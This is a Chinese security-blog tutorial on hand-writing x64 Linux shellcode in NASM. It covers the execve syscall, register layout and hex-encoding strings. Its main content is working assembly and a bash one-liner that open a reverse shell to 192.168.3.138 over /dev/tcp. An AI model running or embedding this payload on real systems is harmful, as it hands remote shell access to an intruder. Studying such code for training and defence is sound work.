平台:ubuntu 20.04 64位 语言:nasm 目标:反弹shell
简介
改一下版本,反弹一个shell
命令行下
-
反弹命令
bash-i>&/dev/tcp/192.168.3.138/80800>&1
系统调用
我们依然是通过syscall的方法来调用系统api,man一下syscall
通过查表我们可以确定,这次调用不是通过int 0x80而是直接调用syscall来进行。同时参数寄存器也是改为了rdi,rsi,rdx,r10,r8,r9。
execve
通过查询unistd_64.h可以确定execve 的调用号为59,即0x3b。参数列表为 ['/bin/bash','-c','/bin/bash -i >& /dev/tcp/192.168.3.138/8080 0>&1']
参数转16进制的方法python3下 'string'[::-1].encode().hex()
贴代码
section .text ; defines code section
global _start
_start:
xor rdx, rdx
xor rax, rax
push rdx ;字符串结尾的00
push 0x68
mov rax,0x7361622f6e69622f;'/bin/bash'
push rax
mov rdi, rsp ;'/bin/bash'字符串起始地址存入rdi
push rdx ;字符串结尾的00'
xor rax,rax
mov ax, 0x632d
push rax ; '-c'
mov r10, rsp ; '-c' 字符串起始地址存入r10
push rdx ; 字符串结尾的00
mov rax, 0x31263e3020303830
push rax ; 080 0>&1
mov rax, 0x382f3833312e332e
push rax ;.3.138/8
mov rax, 0x3836312e3239312f
push rax ;/192.168
mov rax, 0x7063742f7665642f
push rax ;/dev/tcp
mov rax, 0x20263e20692d2068
push rax ;h -i >&
mov rax, 0x7361622f6e69622f
push rax ;/bin/bas
mov rcx, rsp ; '/bin/bash -i >&/dev/tcp/192.168.3.138/80800>&1' 字符串起始地址存入rcx
push rdx ; 数组结尾的00
push rcx ; '/bin/bash -i >&/dev/tcp/192.168.3.138/80800>&1' 地址的指针压栈
push r10 ; '-c' 地址的指针压栈
push rdi ; '/bin/bash' 地址的指针压栈
mov rsi, rsp ; ['/bin/bash', '-c','/bin/bash -i >&/dev/tcp/192.168.3.138/80800>&1'] 参数列表的指针(即第一个参数的地址)存入rsi
push 0x3b ; execve 的syscall
pop rax ; 把调用号存入rax
syscall ; call execve('/bin/bash', ['/bin/bash', '-c','/bin/bash -i >&/dev/tcp/192.168.3.138/80800>&1'], 0)
编译
-
nasm-f elf64 a.asm
-
ld a.o
运行
坑点
>&
等重定向符号是由shell本身来解释的,不属于shell的参数,因此直接使用execve调用 /bin/bash-i>&/dev/tcp/192.168.3.138/80800>&1
会出现 >&:Nosuch fileordirectory
的问题。
附录
unistd_64.h
#ifndef _ASM_X86_UNISTD_64_H
#define _ASM_X86_UNISTD_64_H 1
//假装这里是头文件
#endif/* _ASM_X86_UNISTD_64_H */
参考文章
https://stackoverflow.com/questions/28490290/how-can-i-pass-the-redirection-operator-as-an-argument-for-execv
原文始发于微信公众号(Wings安全团队):Linux下x64版shellcoded编写
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论